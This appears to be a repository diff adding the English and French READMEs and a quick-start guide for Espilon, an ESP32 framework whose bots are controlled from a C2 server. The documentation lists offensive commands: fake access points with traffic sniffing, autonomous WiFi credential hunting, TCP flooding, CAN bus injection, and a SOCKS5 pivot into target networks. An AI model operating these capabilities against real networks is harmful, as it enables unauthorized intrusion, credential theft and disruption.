4. NO WARRANTY: This software is provided for research and educational
|
||||
purposes. It comes with no warranty and the authors make no guarantees
|
||||
about its fitness for any particular purpose.
|
||||
|
||||
5. COMPLIANCE: You must comply with all applicable laws and regulations
|
||||
in your jurisdiction, including but not limited to: computer fraud and
|
||||
abuse laws, wiretapping laws, privacy laws, and telecommunications
|
||||
regulations.
|
||||
|
||||
6. ATTRIBUTION: When publishing research or educational materials based
|
||||
on this software, please provide appropriate attribution to the original
|
||||
authors and this project.
|
||||
|
||||
Unauthorized use of this software may violate applicable laws and could
|
||||
result in severe civil and criminal penalties.
|
||||
|
||||
USE AT YOUR OWN RISK.
|
||||
150
QUICKSTART.md
Normal file
150
QUICKSTART.md
Normal file
@ -0,0 +1,150 @@
|
||||
# Espilon — Quick Start Guide
|
||||
|
||||
Get a working C2 server in **under 5 minutes**.
|
||||
|
||||
> For full documentation see [README.md](README.md) and [tools/C3PO/README.md](tools/C3PO/README.md).
|
||||
|
||||
---
|
||||
|
||||
## Option A: Without Docker (recommended for development)
|
||||
|
||||
### 1. Clone and install
|
||||
|
||||
```bash
|
||||
git clone https://github.com/Espilon-Net/epsilon-source.git
|
||||
cd epsilon-source/tools/C3PO
|
||||
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
### 2. Configure
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
# Edit .env to change default passwords (optional for local testing)
|
||||
```
|
||||
|
||||
### 3. Start the C2 server
|
||||
|
||||
```bash
|
||||
python c3po.py
|
||||
```
|
||||
|
||||
The TUI (terminal interface) starts automatically. You'll see a multi-pane interface with device list and logs.
|
||||
|
||||
### 4. Deploy to ESP32
|
||||
|
||||
```bash
|
||||
cd tools
|
||||
python deploy.py -p /dev/ttyUSB0 -d my-device-01 \
|
||||
--wifi "YourSSID" "YourPassword" \
|
||||
--srv 192.168.1.100
|
||||
```
|
||||
|
||||
This will:
|
||||
- Generate a unique crypto key
|
||||
- Build the firmware
|
||||
- Flash the ESP32
|
||||
- Register the key in C3PO's keystore
|
||||
|
||||
The device connects automatically and appears in the TUI.
|
||||
|
||||
### 5. Send commands
|
||||
|
||||
In the C3PO TUI command bar (bottom), type:
|
||||
|
||||
```
|
||||
send <device_id> system_info
|
||||
send <device_id> ping 8.8.8.8
|
||||
send <device_id> arp_scan
|
||||
send <device_id> system_mem
|
||||
```
|
||||
|
||||
Replace `<device_id>` with the ID shown in the TUI.
|
||||
|
||||
---
|
||||
|
||||
## Option B: With Docker
|
||||
|
||||
### 1. Start C3PO
|
||||
|
||||
```bash
|
||||
cd tools/C3PO
|
||||
cp .env.example .env
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
### 2. Open the web dashboard
|
||||
|
||||
Open http://localhost:8000 in your browser. Login: `admin` / `admin` (change in `.env`).
|
||||
|
||||
### 3. Deploy to ESP32
|
||||
|
||||
```bash
|
||||
cd tools
|
||||
python deploy.py -p /dev/ttyUSB0 -d my-device-01 \
|
||||
--wifi "YourSSID" "YourPassword" \
|
||||
--srv <your-machine-ip>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Prerequisites for ESP32 hardware
|
||||
|
||||
- ESP-IDF v5.3.2 installed ([install guide](https://docs.espressif.com/projects/esp-idf/en/v5.3.2/esp32/get-started/))
|
||||
- ESP32 connected via USB
|
||||
- Python 3.8+
|
||||
|
||||
---
|
||||
|
||||
## Web dashboard
|
||||
|
||||
Start the web server from the TUI:
|
||||
|
||||
```
|
||||
web start
|
||||
```
|
||||
|
||||
Then open http://localhost:8000. Pages available:
|
||||
|
||||
| Page | URL | Description |
|
||||
|------|-----|-------------|
|
||||
| Dashboard | `/dashboard` | Device list and status |
|
||||
| Tunnel | `/tunnel` | SOCKS5 tunnel proxy management |
|
||||
| Cameras | `/cameras` | Live camera feeds |
|
||||
| MLAT | `/mlat` | Multilateration map |
|
||||
| OTA | `/ota` | Firmware build & deploy |
|
||||
|
||||
---
|
||||
|
||||
## Common commands reference
|
||||
|
||||
```
|
||||
help Show all commands
|
||||
list List connected devices
|
||||
send <id> system_info Device info (chip, modules, memory)
|
||||
send <id> system_mem Memory usage
|
||||
send <id> ping <host> ICMP ping
|
||||
send <id> arp_scan Scan local network
|
||||
send <id> fakeap_start <ssid> Start a fake AP (if module enabled)
|
||||
send <id> tun_start <ip> 2627 Start SOCKS5 tunnel proxy to C3PO
|
||||
send <id> tun_stop Stop tunnel proxy
|
||||
send all system_info Broadcast to all devices
|
||||
group add scanners <id1> <id2> Create device group
|
||||
send group scanners arp_scan Send to group
|
||||
web start Start web dashboard
|
||||
camera start Start camera UDP receiver
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Problem | Solution |
|
||||
|---------|----------|
|
||||
| `ModuleNotFoundError: textual` | `pip install -r requirements.txt` |
|
||||
| Device connects but commands fail | Check `keys.json` — the device key must match |
|
||||
| Web dashboard not loading | Run `web start` in TUI first, then open http://localhost:8000 |
|
||||
| `Decrypt/auth failed` | Key mismatch — re-provision the device with `deploy.py` |
|
||||
465
README.fr.md
Normal file
465
README.fr.md
Normal file
@ -0,0 +1,465 @@
|
||||
# Espilon
|
||||
|
||||

|
||||
|
||||
**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT**
|
||||
|
||||
[](LICENSE)
|
||||
[](https://github.com/espressif/esp-idf)
|
||||
[](https://www.espressif.com/en/products/socs/esp32)
|
||||
|
||||
> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement.
|
||||
|
||||
---
|
||||
|
||||
## Sommaire
|
||||
|
||||
- [Documentation Complète](#documentation-complète)
|
||||
- [Quick Start](#quick-start)
|
||||
- [Prérequis](#prérequis)
|
||||
- [Installation Rapide](#installation-rapide)
|
||||
- [Qu'est-ce qu'Espilon ?](#quest-ce-quespilon-)
|
||||
- [Modes de Connectivité](#modes-de-connectivité)
|
||||
- [Architecture](#architecture)
|
||||
- [Composants Clés](#composants-clés)
|
||||
- [Modules Disponibles](#modules-disponibles)
|
||||
- [System Module](#system-module-built-in-toujours-actif)
|
||||
- [Network Module](#network-module)
|
||||
- [FakeAP Module](#fakeap-module)
|
||||
- [Recon Module](#recon-module)
|
||||
- [Red Team Module](#red-team-module)
|
||||
- [Honeypot Module](#honeypot-module)
|
||||
- [Tunnel Module](#tunnel-module-proxy-socks5)
|
||||
- [CAN Bus Module](#can-bus-module-mcp2515)
|
||||
- [OTA Module](#ota-module)
|
||||
- [Outils](#outils)
|
||||
- [Deploy Tool](#deploy-tool)
|
||||
- [C2 Server (C3PO)](#c2-server-c3po)
|
||||
- [Sécurité](#sécurité)
|
||||
- [Chiffrement](#chiffrement)
|
||||
- [Usage Responsable](#usage-responsable)
|
||||
- [Cas d'Usage](#cas-dusage)
|
||||
- [Roadmap](#roadmap)
|
||||
- [Licence](#licence)
|
||||
- [Contributeurs](#contributeurs)
|
||||
- [Liens Utiles](#liens-utiles)
|
||||
- [Support](#support)
|
||||
|
||||
---
|
||||
|
||||
## Documentation Complète
|
||||
|
||||
**[Consultez la documentation complète ici](https://docs.espilon.net)**
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
La documentation MkDocs inclut :
|
||||
|
||||
```md
|
||||
- Guide d'installation pas à pas
|
||||
- Traduction EN/FR
|
||||
- Configuration WiFi et GPRS
|
||||
- Référence des modules et commandes
|
||||
- Guide du deploy tool
|
||||
- Spécification du protocole C2
|
||||
- Exemples et cas d'usage
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Prérequis
|
||||
|
||||
- ESP-IDF v5.3.2
|
||||
- Python 3.8+
|
||||
- ESP32 (tout modèle compatible)
|
||||
- LilyGO T-Call pour le mode GPRS (optionnel)
|
||||
|
||||
### Installation Rapide
|
||||
|
||||
```bash
|
||||
# 1. Installer ESP-IDF v5.3.2
|
||||
mkdir -p ~/esp
|
||||
cd ~/esp
|
||||
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
|
||||
cd esp-idf
|
||||
./install.sh esp32
|
||||
. ./export.sh
|
||||
|
||||
# 2. Cloner Espilon
|
||||
cd ~
|
||||
git clone https://github.com/Espilon-Net/epsilon-source.git
|
||||
cd epsilon/espilon_bot
|
||||
|
||||
# 3. Configurer
|
||||
idf.py menuconfig
|
||||
|
||||
# 4. Compiler et flasher
|
||||
idf.py build
|
||||
idf.py -p /dev/ttyUSB0 flash monitor
|
||||
```
|
||||
|
||||
**Configuration minimale** (menuconfig) :
|
||||
|
||||
```c
|
||||
Espilon Bot Configuration
|
||||
├─ Device ID: "votre_id_unique"
|
||||
├─ Network → WiFi
|
||||
│ ├─ SSID: "VotreWiFi"
|
||||
│ └─ Password: "VotreMotDePasse"
|
||||
└─ Server
|
||||
├─ IP: "192.168.1.100"
|
||||
└─ Port: 2626
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Qu'est-ce qu'Espilon ?
|
||||
|
||||
Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents networked puissants pour :
|
||||
|
||||
- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting
|
||||
- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS
|
||||
- **Prototypage IoT** : Communication distribuée, monitoring, capteurs
|
||||
|
||||
### Modes de Connectivité
|
||||
|
||||
| Mode | Hardware | Portée | Use Case |
|
||||
|------|----------|--------|----------|
|
||||
| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments |
|
||||
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
|
||||
|
||||
**General Packet Radio Service** vs **WiFi**
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```md
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ ESP32 Agent │
|
||||
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
|
||||
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
|
||||
│ │ GPRS │← │ Poly1305 │← │ (nanoPB/TCP) │ │
|
||||
│ └───────────┘ └──────────┘ └─────────────────┘ │
|
||||
│ ↓ ↓ ↓ │
|
||||
│ ┌───────────────────────────────────────────────┐ │
|
||||
│ │ Module System (FreeRTOS) │ │
|
||||
│ │ [Network] [Tunnel] [FakeAP] [Recon] │ │
|
||||
│ │ [RedTeam] [Honeypot] [CAN Bus] [OTA] │ │
|
||||
│ └───────────────────────────────────────────────┘ │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
↕ Encrypted TCP
|
||||
┌──────────────────────┐
|
||||
│ C2 Server (C3PO) │
|
||||
│ - Device Registry │
|
||||
│ - Group Management │
|
||||
│ - TUI + Web UI │
|
||||
└──────────────────────┘
|
||||
```
|
||||
|
||||
### Composants Clés
|
||||
|
||||
- **Core** : Connexion réseau, ChaCha20-Poly1305 AEAD + dérivation HKDF, protocole nanoPB
|
||||
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)** : Serveur Python asyncio + dashboard web pour contrôle multi-agents
|
||||
- **Deploy** : Pipeline unifié build, provision & flash (`tools/deploy.py`)
|
||||
|
||||
---
|
||||
|
||||
## Modules Disponibles
|
||||
|
||||
> Les modules s'activent indépendamment via `idf.py menuconfig` → Espilon Bot Configuration → Modules. Plusieurs modules peuvent être actifs simultanément (selon les contraintes flash/RAM).
|
||||
|
||||
### System Module (Built-in, toujours actif)
|
||||
|
||||
Commandes système de base :
|
||||
|
||||
- `system_reboot` : Redémarrage de l'ESP32
|
||||
- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free)
|
||||
- `system_uptime` : Temps de fonctionnement depuis le boot
|
||||
|
||||
### Network Module
|
||||
|
||||
Module pour reconnaissance, tests réseau et proxy tunnel SOCKS5 :
|
||||
|
||||
- `ping <host> [args...]` : Test de connectivité ICMP
|
||||
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
|
||||
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
|
||||
- `tun_start <ip> <port>` : Démarrer le proxy tunnel SOCKS5 vers C3PO (nécessite `CONFIG_MODULE_TUNNEL`)
|
||||
- `tun_stop` : Arrêter le tunnel
|
||||
- `tun_status` : Statut du tunnel (channels, bytes, mode chiffrement)
|
||||
|
||||
### FakeAP Module
|
||||
|
||||
Module pour création de points d'accès WiFi simulés :
|
||||
|
||||
- `fakeap_start <ssid> [open|wpa2] [password]` : Démarrer un faux point d'accès
|
||||
- `fakeap_stop` : Arrêter le faux AP
|
||||
- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients)
|
||||
- `fakeap_clients` : Lister les clients connectés
|
||||
- `fakeap_portal_start` : Activer le portail captif
|
||||
- `fakeap_portal_stop` : Désactiver le portail captif
|
||||
- `fakeap_sniffer_on` : Activer la capture de trafic réseau
|
||||
- `fakeap_sniffer_off` : Désactiver la capture
|
||||
|
||||
### Recon Module
|
||||
|
||||
Module de reconnaissance et collecte de données. Deux modes disponibles :
|
||||
|
||||
#### Mode Camera (ESP32-CAM)
|
||||
|
||||
- `cam_start <ip> <port>` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA)
|
||||
- `cam_stop` : Arrêter le streaming
|
||||
|
||||
#### Mode BLE Trilateration
|
||||
|
||||
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
|
||||
- `trilat stop` : Arrêter la trilatération
|
||||
|
||||
### Red Team Module
|
||||
|
||||
Hunt WiFi autonome, attaques de credentials, et mesh relay ESP-NOW :
|
||||
|
||||
- `rt_hunt` : Lancer le cycle scan + attaque WiFi autonome
|
||||
- `rt_stop` : Arrêter le hunt
|
||||
- `rt_status` : Cibles en cours, progression, credentials capturés
|
||||
- `rt_scan` : Scan passif des APs (mode promiscuous, sans association)
|
||||
- `rt_net_add <ssid> <pass>` / `rt_net_list` : Gérer les réseaux connus
|
||||
- `rt_mesh` : Activer le relay ESP-NOW mesh (multi-hop vers C2 hors portée)
|
||||
- Stealth : randomisation MAC, scan passif, contrôle puissance TX
|
||||
|
||||
### Honeypot Module
|
||||
|
||||
Faux services réseau qui loggent les interactions des attaquants :
|
||||
|
||||
- `hp_start` / `hp_stop` : Démarrer/arrêter tous les services
|
||||
- Services émulés : SSH, Telnet, HTTP, FTP (ports configurables)
|
||||
- `hp_wifi_mon_start` / `hp_wifi_mon_stop` : Monitor WiFi (probe, deauth, EAPOL, beacon flood)
|
||||
- `hp_net_mon_start` / `hp_net_mon_stop` : Détection anomalies réseau (port scan, SYN flood)
|
||||
- Tous les events remontés au C2 au format `EVT|` (dashboard honeypot C3PO)
|
||||
|
||||
### Tunnel Module (Proxy SOCKS5)
|
||||
|
||||
Proxy tunnel SOCKS5 multiplexé à travers l'ESP32. Utilise n'importe quel outil réseau (`curl`, `nmap`, `proxychains`) pour pivoter à travers le bot sur le réseau cible.
|
||||
|
||||
- Le SOCKS5 tourne côté C3PO (port 1080) — l'ESP32 ne gère que des frames binaires
|
||||
- Jusqu'à 8 connexions TCP simultanées (configurable via Kconfig)
|
||||
- Résolution DNS côté ESP32 (voit les DNS internes du réseau cible)
|
||||
- Reconnexion automatique avec backoff exponentiel
|
||||
- Chiffrement AEAD ChaCha20-Poly1305 par frame optionnel
|
||||
|
||||
**Ports C3PO** : 2626 (commandes C2) + 2627 (données tunnel) + 1080 (SOCKS5, localhost uniquement)
|
||||
|
||||
```bash
|
||||
# Démarrer le tunnel depuis le C2
|
||||
send <device_id> tun_start <c3po_ip> 2627
|
||||
|
||||
# Utiliser n'importe quel outil à travers le proxy
|
||||
curl --socks5-hostname 127.0.0.1:1080 http://cible-interne.local
|
||||
nmap -sT -Pn --proxies socks4://127.0.0.1:1080 192.168.x.0/24
|
||||
```
|
||||
|
||||
Voir [TUNNEL.md](TUNNEL.md) pour la spécification complète du protocole et le guide de test.
|
||||
|
||||
### CAN Bus Module (MCP2515)
|
||||
|
||||
CAN bus automobile via contrôleur SPI externe MCP2515 :
|
||||
|
||||
- `can_start [bitrate] [mode]` : Init bus (normal/listen/loopback)
|
||||
- `can_sniff [duration]` / `can_record` / `can_replay` : Capture et replay
|
||||
- `can_send <id> <data>` : Injection de trame
|
||||
- UDS : `can_scan_ecu`, `can_uds_read`, `can_uds_dump`, `can_uds_auth`
|
||||
- OBD-II : `can_obd <pid>`, `can_obd_vin`, `can_obd_dtc`, `can_obd_monitor`
|
||||
- Fuzzing : `can_fuzz_id`, `can_fuzz_data`, `can_fuzz_random`
|
||||
|
||||
### OTA Module
|
||||
|
||||
Mises à jour firmware over-the-air depuis le serveur C2 :
|
||||
|
||||
- Téléchargement firmware HTTPS sécurisé (fallback HTTP optionnel)
|
||||
- Schéma dual partition (A/B) pour rollback sécurisé
|
||||
- Reporting de progression vers le C2
|
||||
|
||||
---
|
||||
|
||||
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
|
||||
|
||||
- `CONFIG_MODULE_NETWORK` : Network Module
|
||||
- `CONFIG_MODULE_FAKEAP` : FakeAP Module
|
||||
- `CONFIG_MODULE_RECON` : Recon Module (Camera ou BLE Trilateration)
|
||||
- `CONFIG_MODULE_REDTEAM` : Red Team Module
|
||||
- `CONFIG_MODULE_HONEYPOT` : Honeypot Module
|
||||
- `CONFIG_MODULE_TUNNEL` : Proxy Tunnel SOCKS5 (nécessite `CONFIG_MODULE_NETWORK`)
|
||||
- `CONFIG_MODULE_CANBUS` : CAN Bus Module (nécessite hardware MCP2515)
|
||||
- `CONFIG_ESPILON_OTA_ENABLED` : OTA Updates
|
||||
|
||||
---
|
||||
|
||||
## Outils
|
||||
|
||||
### Deploy Tool
|
||||
|
||||
Pipeline unifié pour **build**, **provisionner** (clés crypto), et **flasher** les ESP32 :
|
||||
|
||||
```bash
|
||||
cd tools
|
||||
|
||||
# Assistant interactif
|
||||
python3 deploy.py
|
||||
|
||||
# Un seul device
|
||||
python3 deploy.py -p /dev/ttyUSB0 -d mon-device \
|
||||
--wifi MonSSID MonMotDePasse --srv 192.168.1.100
|
||||
|
||||
# Deploy batch
|
||||
python3 deploy.py --config deploy.example.json
|
||||
```
|
||||
|
||||
Chaque deploy génère une **master key 256-bit** par device, l'écrit en factory NVS, et l'enregistre dans le keystore C2 (`keys.json`).
|
||||
|
||||
Voir [tools/README.md](tools/README.md) pour la documentation complète (modes, batch config, OTA vs non-OTA, flash map).
|
||||
|
||||
### C2 Server (C3PO)
|
||||
|
||||
Serveur de Command & Control :
|
||||
|
||||
```bash
|
||||
cd tools/C3PO
|
||||
pip3 install -r requirements.txt
|
||||
python3 c3po.py
|
||||
```
|
||||
|
||||
Documentation complète et liste des commandes : voir [tools/C3PO/README.md](tools/C3PO/README.md).
|
||||
|
||||
---
|
||||
|
||||
## Sécurité
|
||||
|
||||
### Chiffrement
|
||||
|
||||
- **ChaCha20-Poly1305 AEAD** pour le chiffrement authentifié de toutes les communications C2
|
||||
- **HKDF-SHA256** dérivation de clé (master key per-device + salt device ID)
|
||||
- **Nonce aléatoire de 12 bytes** par message (RNG hardware ESP32)
|
||||
- **Master keys per-device** stockées en partition factory NVS (read-only)
|
||||
- **Protocol Buffers (nanoPB)** pour la sérialisation
|
||||
|
||||
Provisionner chaque device avec une master key unique via `tools/deploy.py`. Les clés ne sont jamais hardcodées dans le firmware.
|
||||
|
||||
### Usage Responsable
|
||||
|
||||
Espilon doit être utilisé uniquement pour :
|
||||
|
||||
- Tests d'intrusion **autorisés**
|
||||
- Recherche en sécurité **éthique**
|
||||
- Éducation et formation
|
||||
- Prototypage IoT légitime
|
||||
|
||||
**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité.
|
||||
|
||||
---
|
||||
|
||||
## Cas d'Usage
|
||||
|
||||
### Pentest WiFi
|
||||
|
||||
- Audit de sécurité réseau
|
||||
- Test de robustesse WPA2/WPA3
|
||||
- Cartographie réseau
|
||||
|
||||
### IoT Security Research
|
||||
|
||||
- Test de devices IoT
|
||||
- Analyse de protocoles
|
||||
- Détection de vulnérabilités
|
||||
|
||||
### Éducation
|
||||
|
||||
- Labs de cybersécurité
|
||||
- Cours d'embarqué
|
||||
- CTF competitions
|
||||
|
||||
---
|
||||
|
||||
## Roadmap
|
||||
|
||||
### V2.0 (Complet)
|
||||
|
||||
- [x] Upgrade crypto ChaCha20-Poly1305 AEAD + HKDF
|
||||
- [x] Provisioning per-device factory NVS
|
||||
- [x] Réécriture C3PO avec crypto per-device
|
||||
- [x] OTA firmware updates
|
||||
- [x] Module Red Team (hunt WiFi autonome)
|
||||
- [x] Module Honeypot (faux services + monitoring)
|
||||
- [x] Module CAN Bus (MCP2515 — sniff, inject, UDS, OBD-II, fuzzing)
|
||||
- [x] Web dashboard avec gestion devices, caméra, MLAT, OTA, CAN
|
||||
- [x] Proxy tunnel SOCKS5 (pivot multiplexé à travers l'ESP32)
|
||||
|
||||
### Future
|
||||
|
||||
- [ ] Module BLE (scan, GATT enum, beacon spoofing)
|
||||
- [ ] Module Sub-GHz (CC1101 — 433/868/915 MHz)
|
||||
- [ ] Module BadUSB (ESP32-S2/S3 HID injection)
|
||||
- [ ] PCB custom Espilon
|
||||
- [ ] Support ESP32-S3/C3
|
||||
- [ ] Module SDK pour extensions tierces
|
||||
|
||||
---
|
||||
|
||||
## Licence
|
||||
|
||||
Espilon est sous licence **MIT** avec addendum de sécurité.
|
||||
|
||||
Voir [LICENSE](LICENSE) pour les détails complets.
|
||||
|
||||
**En résumé** :
|
||||
|
||||
- Utilisation libre pour recherche, éducation, développement
|
||||
- Modification et distribution autorisées
|
||||
- **Obtenir autorisation** avant tout déploiement
|
||||
- Usage malveillant strictement interdit
|
||||
|
||||
---
|
||||
|
||||
## Contributeurs
|
||||
|
||||
- **@Eun0us** - Core architecture, modules
|
||||
- **@off-path** - C2 server, protocol
|
||||
- **@itsoktocryyy** - Network features, Wall Hack
|
||||
- **@wepfen** - Documentation, tools
|
||||
|
||||
### Contribuer
|
||||
|
||||
Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
|
||||
**Rejoignez-nous** :
|
||||
|
||||
- Rapporter des bugs
|
||||
- Proposer des features
|
||||
- Soumettre des PRs
|
||||
- Améliorer la doc
|
||||
|
||||
---
|
||||
|
||||
## Liens Utiles
|
||||
|
||||
- **[Documentation complète](https://docs.espilon.net)**
|
||||
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
||||
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
||||
- **English README** : [README.md](README.md)
|
||||
|
||||
---
|
||||
|
||||
## Support
|
||||
|
||||
- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
||||
- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
||||
|
||||
---
|
||||
|
||||
**Présenté initialement à Le Hack (Juin 2025)**
|
||||
|
||||
**Made with love for security research and education**
|
||||
467
README.md
467
README.md
@ -1,3 +1,466 @@
|
||||
# espilon-source
|
||||
# Espilon
|
||||
|
||||
ESP32 Embedded Agent Framework for Security Research
|
||||

|
||||
|
||||
**Embedded ESP32 Agent Framework for Security Research and IoT**
|
||||
|
||||
[](LICENSE)
|
||||
[](https://github.com/espressif/esp-idf)
|
||||
[](https://www.espressif.com/en/products/socs/esp32)
|
||||
|
||||
> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment.
|
||||
>
|
||||
> **New here?** Check the [Quick Start Guide](QUICKSTART.md) — get a working C2 with a simulated device in under 5 minutes, no ESP32 required.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Full Documentation](#full-documentation)
|
||||
- [Quick Start](#quick-start)
|
||||
- [Prerequisites](#prerequisites)
|
||||
- [Quick Installation](#quick-installation)
|
||||
- [What is Espilon?](#what-is-espilon)
|
||||
- [Connectivity Modes](#connectivity-modes)
|
||||
- [Architecture](#architecture)
|
||||
- [Key Components](#key-components)
|
||||
- [Available Modules](#available-modules)
|
||||
- [System Module](#system-module-built-in-always-active)
|
||||
- [Network Module](#network-module)
|
||||
- [FakeAP Module](#fakeap-module)
|
||||
- [Recon Module](#recon-module)
|
||||
- [Red Team Module](#red-team-module)
|
||||
- [Honeypot Module](#honeypot-module)
|
||||
- [Tunnel Module](#tunnel-module-socks5-proxy)
|
||||
- [CAN Bus Module](#can-bus-module-mcp2515)
|
||||
- [OTA Module](#ota-module)
|
||||
- [Tools](#tools)
|
||||
- [Deploy Tool](#deploy-tool)
|
||||
- [C2 Server (C3PO)](#c2-server-c3po)
|
||||
- [Security](#security)
|
||||
- [Encryption](#encryption)
|
||||
- [Responsible Use](#responsible-use)
|
||||
- [Use Cases](#use-cases)
|
||||
- [Roadmap](#roadmap)
|
||||
- [License](#license)
|
||||
- [Contributors](#contributors)
|
||||
- [Useful Links](#useful-links)
|
||||
- [Support](#support)
|
||||
|
||||
---
|
||||
|
||||
## Full Documentation
|
||||
|
||||
**[View the full documentation here](https://docs.espilon.net)**
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
The MkDocs documentation includes:
|
||||
|
||||
```md
|
||||
- Step-by-step installation guide
|
||||
- Translate EN/FR
|
||||
- WiFi and GPRS configuration
|
||||
- Module and command reference
|
||||
- Deploy tool guide
|
||||
- C2 protocol specification
|
||||
- Examples and use cases
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Prerequisites
|
||||
|
||||
- ESP-IDF v5.3.2
|
||||
- Python 3.8+
|
||||
- ESP32 (any compatible model)
|
||||
- LilyGO T-Call for GPRS mode (optional)
|
||||
|
||||
### Quick Installation
|
||||
|
||||
```bash
|
||||
# 1. Install ESP-IDF v5.3.2
|
||||
mkdir -p ~/esp
|
||||
cd ~/esp
|
||||
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
|
||||
cd esp-idf
|
||||
./install.sh esp32
|
||||
. ./export.sh
|
||||
|
||||
# 2. Clone Espilon
|
||||
cd ~
|
||||
git clone https://github.com/Espilon-Net/epsilon-source.git
|
||||
cd Espilon-Net/espilon_bot
|
||||
|
||||
# 3. Configure with menuconfig or tools/deploy.py
|
||||
idf.py menuconfig
|
||||
|
||||
# 4. Build and flash
|
||||
idf.py build
|
||||
idf.py -p /dev/ttyUSB0 flash monitor
|
||||
```
|
||||
|
||||
**Minimal configuration** (menuconfig):
|
||||
|
||||
```c
|
||||
Espilon Bot Configuration
|
||||
|- Device ID: "your_unique_id"
|
||||
|- Network -> WiFi
|
||||
| |- SSID: "YourWiFi"
|
||||
| |- Password: "YourPassword"
|
||||
|- Server
|
||||
|- IP: "192.168.1.100"
|
||||
|- Port: 2626
|
||||
```
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## What is Espilon?
|
||||
|
||||
Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful networked agents for:
|
||||
|
||||
- **Security research**: WiFi testing, network reconnaissance, IoT pentesting
|
||||
- **Education**: Learning embedded systems, network protocols, FreeRTOS
|
||||
- **IoT prototyping**: Distributed communication, monitoring, sensors
|
||||
|
||||
### Connectivity Modes
|
||||
|
||||
| Mode | Hardware | Range | Use Case |
|
||||
|------|----------|-------|----------|
|
||||
| **WiFi** | Standard ESP32 | 50-100m | Labs, buildings |
|
||||
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
+---------------------------------------------------------+
|
||||
| ESP32 Agent |
|
||||
| +-----------+ +----------+ +---------------------+ |
|
||||
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
|
||||
| | GPRS |<-| Poly1305 |<-| (nanoPB/TCP) | |
|
||||
| +-----------+ +----------+ +---------------------+ |
|
||||
| | | | |
|
||||
| +-----------------------------------------------------+|
|
||||
| | Module System (FreeRTOS) ||
|
||||
| | [Network] [Tunnel] [FakeAP] [Recon] [RedTeam] ||
|
||||
| | [Honeypot] [CAN Bus] [OTA] [Custom...] ||
|
||||
| +-----------------------------------------------------+|
|
||||
+---------------------------------------------------------+
|
||||
| Encrypted TCP
|
||||
+---------------------+
|
||||
| C2 Server (C3PO) |
|
||||
| - Device Registry |
|
||||
| - Group Management |
|
||||
| - TUI + Web UI |
|
||||
+---------------------+
|
||||
```
|
||||
|
||||
### Key Components
|
||||
|
||||
- **Core**: Network connection, ChaCha20-Poly1305 AEAD + HKDF key derivation, nanoPB protocol
|
||||
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)**: Python asyncio server for multi-agent control
|
||||
- **Deploy**: Unified build, provision & flash pipeline (`tools/deploy.py`)
|
||||
|
||||
---
|
||||
|
||||
## Available Modules
|
||||
|
||||
> Modules are enabled independently via `idf.py menuconfig` → Espilon Bot Configuration → Modules. Multiple modules can be active simultaneously (subject to flash/RAM constraints).
|
||||
|
||||
### System Module (Built-in, always active)
|
||||
|
||||
Basic system commands:
|
||||
|
||||
- `system_reboot`: Reboot the ESP32
|
||||
- `system_mem`: Display memory usage (heap free, heap min, internal free)
|
||||
- `system_uptime`: Uptime since boot
|
||||
- `system_info`: Chip info, SDK version, active modules
|
||||
|
||||
### Network Module
|
||||
|
||||
Network reconnaissance, testing, and SOCKS5 tunnel proxy:
|
||||
|
||||
- `ping <host> [args...]`: ICMP connectivity test
|
||||
- `arp_scan`: Discover hosts on local network via ARP
|
